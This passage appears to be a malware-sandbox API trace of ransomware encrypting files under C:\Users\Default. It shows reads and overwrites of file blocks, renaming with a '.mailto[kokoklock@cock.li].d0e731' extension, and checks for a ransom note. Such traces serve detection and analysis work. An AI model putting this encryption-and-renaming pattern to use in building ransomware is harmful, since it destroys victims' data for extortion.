(lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a720) returned 1 [0068.954] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x26) returned 0 [0068.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480cb8 [0068.954] wcscpy (in: _Dest=0x3480cb8, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.954] wcscat (in: _Dest=0x3480cb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.954] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480cb8) returned 1 [0068.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaaf0) returned 1 [0068.955] RtlExitUserThread (Status=0x1) Thread: id = 309 os_tid = 0x134c [0063.587] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26 [0064.630] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x20) returned 1 [0066.885] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a4 [0066.885] GetFileSizeEx (in: hFile=0x7a4, lpFileSize=0xe8bf90c | out: lpFileSize=0xe8bf90c*=524288) returned 1 [0066.885] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x7fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.885] ReadFile (in: hFile=0x7a4, lpBuffer=0xe8bf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0xe8bf8e0*, lpNumberOfBytesRead=0xe8bf8dc*=0x4, lpOverlapped=0x0) returned 1 [0066.886] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4918 [0066.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f00d0 [0066.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0066.886] NtQuerySystemTime (in: CurrentTime=0xe8bf8b8 | out: CurrentTime=0xe8bf8b8*=132121176247840379) returned 0x0 [0066.886] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xb5a7670b [0066.886] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x9f0ecf19 [0066.886] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xb37e57b9 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x587cdda9 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x1add0a8c [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xd556a420 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xf17de272 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x2e289287 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xc6323f64 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xe660e20e [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xa0ab6118 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xf9333700 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xeca20f8a [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x20dc5f70 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x1b953d5c [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xd8dcd4e0 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xbdadbd4 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x33241e38 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x7b93733a [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x6a56c777 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xee4e7c34 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xf5fc017b [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x6173f04b [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x8dc43b14 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xbf708929 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x291ada20 [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xf6ceeeca [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xcaee0d6a [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0xb8927d4f [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x425aad7c [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x95f991be [0066.887] RtlRandom (in: Seed=0xe8bf8c4 | out: Seed=0xe8bf8c4) returned 0x782552f0 [0066.898] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.898] ReadFile (in: hFile=0x7a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.899] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0066.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0066.899] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0066.899] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0066.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0066.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423dd0 [0066.900] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b28 [0066.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b28) returned 1 [0066.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0066.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0066.900] WriteFile (in: hFile=0x7a4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.900] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.900] ReadFile (in: hFile=0x7a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.901] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0066.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0066.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0066.901] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d30) returned 1 [0066.901] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0066.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d08 [0066.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0066.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d30) returned 1 [0066.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0066.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0066.902] WriteFile (in: hFile=0x7a4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.902] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.902] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.902] ReadFile (in: hFile=0x7a4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.903] SetFilePointerEx (in: hFile=0x7a4, liDistanceToMove=0x7bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd118 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423b78 [0066.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b78) returned 1 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423da8 [0066.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d30 [0066.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d30) returned 1 [0066.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0066.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd118) returned 1 [0066.903] WriteFile (in: hFile=0x7a4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe8bf878, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xe8bf878*=0x4096, lpOverlapped=0x0) returned 1 [0066.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.904] WriteFile (in: hFile=0x7a4, lpBuffer=0x3423dd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe8bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x3423dd0*, lpNumberOfBytesWritten=0xe8bf8d4*=0x20, lpOverlapped=0x0) returned 1 [0066.904] WriteFile (in: hFile=0x7a4, lpBuffer=0x3423d08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe8bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x3423d08*, lpNumberOfBytesWritten=0xe8bf8d4*=0x20, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x3423da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe8bf8d4, lpOverlapped=0x0 | out: lpBuffer=0x3423da8*, lpNumberOfBytesWritten=0xe8bf8d4*=0x20, lpOverlapped=0x0) returned 1 [0066.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x3423b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0x3423b50*, lpNumberOfBytesWritten=0xe8bf8dc*=0x8, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0xe8bf8f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0xe8bf8f4*, lpNumberOfBytesWritten=0xe8bf8dc*=0x4, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xe8bf8dc*=0x4, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xe8bf8dc*=0x6c, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x33f00d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0x33f00d0*, lpNumberOfBytesWritten=0xe8bf8dc*=0x20, lpOverlapped=0x0) returned 1 [0066.905] WriteFile (in: hFile=0x7a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xe8bf8dc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xe8bf8dc*=0x4, lpOverlapped=0x0) returned 1 [0066.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f00d0) returned 1 [0066.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.905] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423b50) returned 1 [0066.905] CloseHandle (hObject=0x7a4) returned 1 [0068.938] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11e) returned 0x341da40 [0068.938] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" [0068.938] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" [0068.939] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731")) returned 1 [0068.948] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x26) returned 1 [0068.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0068.949] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 0 [0068.949] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x3480bc8 [0068.949] wcscpy (in: _Dest=0x3480bc8, _Source="C:\\Users\\Default\\" | out: _Dest="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0068.949] wcscat (in: _Dest=0x3480bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\Default\\D0E731-Readme.txt") returned="C:\\Users\\Default\\D0E731-Readme.txt" [0068.949] GetFileAttributesW (lpFileName="C:\\Users\\Default\\D0E731-Readme.txt" (normalized: "c:\\users\\default\\d0e731-readme.txt")) returned 0x20 [0068.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480bc8) returned 1 [0068.949] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a428) returned 1 [0068.949] RtlExitUserThread (Status=0x1) Thread: id = 310 os_tid = 0x1350 [0063.588] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26 [0064.591] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x20) returned 1 [0064.591] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0064.591] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0xe93f744 | out: lpFileSize=0xe93f744*=524288) returned 1 [0064.591] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x7fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.591] ReadFile (in: hFile=0x3a0, lpBuffer=0xe93f718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe93f714, lpOverlapped=0x0 | out: lpBuffer=0xe93f718*, lpNumberOfBytesRead=0xe93f714*=0x4, lpOverlapped=0x0) returned 1 [0064.593] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efb58 [0064.593] NtQuerySystemTime (in: CurrentTime=0xe93f6f0 | out: CurrentTime=0xe93f6f0*=132121176224871901) returned 0x0 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x9236ba17 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x7e089ee7 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x24eb507e [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x787f4b4b [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x1559effa [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x840a6b95 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x9d3fe5f4 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x8299bcff [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xa6367ffa [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x9265d5e9 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x56aea2db [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x245f78d [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x6c4d5d22 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x7dfe275f [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xe523ff68 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x6801dfb9 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x72c0eec7 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xb807adf9 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x7e030476 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xe77cfb93 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xc25a271e [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x130cceba [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x34d515b1 [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xda72ac1c [0064.593] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xb680583a [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x6471466 [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xa689b741 [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x2732e58f [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x7a02f445 [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xfcf64722 [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0x73ea99d4 [0064.594] RtlRandom (in: Seed=0xe93f6fc | out: Seed=0xe93f6fc) returned 0xa52fd8a3 [0064.603] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efa90 [0064.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34799e8 [0064.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0064.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0064.605] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0064.605] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.605] ReadFile (in: hFile=0x3a0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.607] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdb0) returned 1 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdb0 [0064.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0064.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0064.608] WriteFile (in: hFile=0x3a0, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xe93f6b0*=0x4096, lpOverlapped=0x0) returned 1 [0064.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.608] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x40960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.608] ReadFile (in: hFile=0x3a0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xe93f6b0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, 